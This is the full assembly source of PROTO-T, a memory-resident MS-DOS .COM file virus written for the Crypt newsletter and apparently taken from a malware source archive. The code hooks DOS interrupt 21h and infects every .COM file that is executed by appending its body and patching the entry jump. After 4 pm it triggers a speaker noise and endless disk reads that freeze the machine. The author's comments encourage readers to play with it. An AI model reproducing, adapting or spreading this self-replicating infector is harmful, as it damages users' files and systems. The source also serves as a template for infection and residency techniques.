MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.proto_t.asm
2021-01-12 17:55:26 -06:00

421 lines
14 KiB
NASM

;PROTO-T virus: a simple, memory resident .COM infector for
;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler.
;
;On call, PROTO-T will manipulate the interrupt table directly, hooking
;int 21h and decreasing the amount of memory by a little over 1k.
;It will infect COMMAND.COM
;if a shell is installed while the virus is in RAM. At start,
;PROTO-T polls the system time. If it is after 4:00 in the
;afternoon, the speaker will issue a hideous ringing noise and the
;hard file will be read very quickly, faking a massive Michelangelo-style
;trashing. The disk will continue to read until the user restores
;control by booting. (I took this slick routine from the first issue
;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American
;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling
;to those surprised by it. Heh.
;
;Files infected with PROTO-T will generally function normally until
;4 in the afternoon, when the virus locks them up until the next
;day by way of the nuisance routines described above. Infected files have
;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]'
;appended to them at the end where the body of the virus is located.
;
;PROTO-T is not currently scanned. However, its modifications are easily
;flagged by a good file integrity checker. For example, Dr. Solomon's
;Toolkit picked PROTO-T changes off an infected disk with both the QCV
;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately,
;the novice user is left on his own by the Toolkit to determine the cause
;of the changes - a drawback which diminishes the software's value
;considerably, IMHO.
;
;I encourage you to play with PROTO-T by Dumbco. It is a
;well-behaved resident virus, useful in demonstrating the behavior
;of simple resident infectors and how they can "pop-up" suddenly and
;ruin your day. Of course, files infected by PROTO-T are, for all
;intents and purposes, useless for future computing unless you like
;the idea of a resident virus keeping you company and freezing up
;your work late in the afternoon.
;
;Known incompatibilities: PROTO-T will behave weirdly on machines
;using SYMANTEC's NDOS as a command processor. And some caches will
;cause PROTO-T to hang the machine immediately. For best results,
;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory
;management seems to work fine. (Ain't this somethin': software
;advisories with a virus!)
;
;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries,
;& our European friends Dark Helmet and Peter Venkmann with their very
;complete code archives (in particular, the CIVIL_II template). The
;'scarey ' subroutine was excerpted from "Computer Virus Developments
;Quarterly", Vol. 1., No.1.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
length equ offset last - begin
virus_length equ length / 16d
host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection
;marker in host
begin:
call virus ;make call to
;push instruction pointer on stack
virus:
mov ah,02Ch ;DOS get time function
int 021h
mov al,ch ;Copy hour into AL
cbw ;Sign-extend AL into AX
cmp ax,0010h ;Did the function return 16 (4 pm)?
jge malfunkshun ;If after 4 pm, do Proto-T thang!
jmp getonwithit
malfunkshun: ;sound and fury start
cli ;turn off interrupts
mov dx,2
agin1: mov bp,40 ;do 40 cycles of sound
mov si,1000 ;1st frequency
mov di,2000 ;2nd frequency
mov al,10110110b ;address of channel 2 mode 3
out 43h,al ;send to port
agin2: mov bx,si ;place sound number in bx
backerx: mov ax,bx ;now put in ax
out 42h,al
mov al,ah
out 42h,al
in al,61h ;get port value
or al,00000011b ;turn speaker on
out 61h,al
mov cx,2EE0h ;delay
looperx: loop looperx ;do nothing loop so sound is audible
xchg di,si
in al,61h ;get port value
and al,11111100b ;AND - turn speaker off
out 61h,al ;send it
dec bp ;decrement repeat count
jnz agin2 ;if not = 0 do again
mov ax,10 ;10 repeats of 60000 loops
back: mov cx,0EA60h ;loop count (in hex for TASM)
loopery: loop loopery ;delay loops - no sound between bursts
dec ax
jnz back ;if not = 0 loop again
dec dx
jnz agin1 ;if not = 0 do whole thing again
sti ;restore interrupts
mov si,0 ;scarey part: drive reads real
scarey: lodsb ;fast ala Michelangelo-style
mov ah,al ;over-write, but this routine only
lodsb ;gets random bytes here for a
and al,3 ;cylinder to READ
mov dl,80h
mov dh,al
mov ch,ah
mov cl,1
mov bx,offset last ;buffer to read into
mov ax,201h
int 13h
jmp short scarey ;yow! scarey! just think if this
;was made by someone not as nice as
;me
note db 'This program is sick. [PROTO-T by Dumbco, INC.]'
getonwithit: pop bp ; get IP from stack.
sub bp,109h ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0A0h ;check if virus
int 21h ;already installed.
cmp ax,0001h
je end_virus
adjust_memory: mov ax,cs ;get Memory
dec ax ;Control Block
mov ds,ax
cmp byte ptr ds:[0000],5a ;check if last
;block -
jne abort ;if not last block,
;end
mov ax,ds:[0003] ;decrease memory
sub ax,50 ;by 1kb
mov ds:0003,ax
install_virus: mov bx,ax ;PSP
mov ax,es ;virus start
add ax,bx ;in memory
mov es,ax
mov cx,length ;cx = length virus
mov ax,ds ;restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ;point to start virus
lea di,es:0100 ;point to destination
rep movsb ;copy virus in
;memory
mov [virus_segment+bp],es ;store start of virus
;in memory
mov ax,cs ;restore extra segment
mov es,ax
hook_vector: cli ;disable interrupts
;because we're manipulating
mov ax,3521h ;the interrupt table and a
;crash would look bad
int 21h ;function 3521h - retrieve
mov ds,[virus_segment+bp] ;address of current handler
mov ds:[old_21h-6h],bx
mov ds:[old_21h+2-6h],es
mov dx,offset main_virus - 6h
mov ax,2521h ;copy new address (virus) to
int 21h ;interrupt table
sti ;interrupts on
abort: mov ax,cs ;restore everything
mov ds,ax
mov es,ax
xor ax,ax
end_virus:
mov bx,0100h ;jump to beginning
jmp bx ;of host file
;***************************************************************************
main_virus: pushf
cmp ah,0A0h ;check for virus
jne new_21h ;no virus call
mov ax,0001h ;ax = id
popf ;return id
iret
new_21h: push ds ;save registers
push es
push di
push si
push ax
push bx
push cx
push dx
cmp ah,40h
jne check_05
cmp bx,0004h
jne check_05
check_05: cmp ah,05h
jne check_exec
check_exec: cmp ax,04B00h ;intercept execute function
jne continue
mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
jmp chk_com ;goto check target
continue: pop dx ;restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: cld ;check extension of loaded file
mov di,dx ;for COM
push ds
pop es
mov al,'.' ;search extension
repne scasb ;for 'COM', so
cmp word ptr es:[di],'OC' ;check 'CO'
jne continue ;and
cmp word ptr es:[di+2],'M' ;check 'M'
jne continue
call set_int24h
call set_attribute
open_file: mov ds,cs:[name_seg-6] ;name of target file
mov dx,cs:[name_off-6]
mov ax,3D02h ;open file
call do_int21h ;simulate int21 call, see below
jc close_file
push cs
pop ds
mov [handle-6],ax
mov bx,ax
call get_date
check_infect: push cs
pop ds
mov bx,[handle-6] ;read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,[carrier_begin-6]
call do_int21h
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,[initials-6]
je save_date ;if equal, already
;infected
get_length: mov ax,4200h ;set file pointer to begin
call move_pointer
mov ax,4202h ;set file pointer to end
call move_pointer
sub ax,03h ;ax = file length
mov [length_file-6],ax
call write_jmp
call write_virus ;summon write virus to file
save_date: push cs ;save date of file
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,[handle-6]
mov ah,03eh ;close file
call do_int21h
mov dx,cs:[old_24h-6] ;restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
jmp continue
new_24h: mov al,3 ;critical error handler
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
;since virus owns int21, a
do_int21h: pushf ;direct call would be counter
call dword ptr cs:[old_21h-6];productive, so do a pushf
ret ;and call combination - Dark
;Angel's virus guide is great
write_jmp: push cs ;at expalining this
pop ds
mov ax,4200h ;set pointer to beginning of file
call move_pointer
mov ah,40h
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[length_file-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: push cs
pop ds
mov ax,4202h ;write to file function
call move_pointer
mov ah,40
mov cx,length ;virus length
mov dx,100
call do_int21h ;do it
ret
get_date: mov ax,5700h ;retrieve date function
call do_int21h ;do it
push cs
pop ds
mov [date-6],dx ;restore date & time
mov [time-6],cx
ret
;set up critical error handler
set_int24h: mov ax,3524h ;request address of current handler
call do_int21h ;simulate int21 call
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h ;set vector to virus handler
call do_int21h ;do it
ret
set_attribute: mov ax,4300h ;get attribute
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call do_int21h
and cl,0feh ;set attribute
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
old_21h dw 00h,00h
old_17h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
jump db 0E9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
length_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
last db 090h
code ends
end host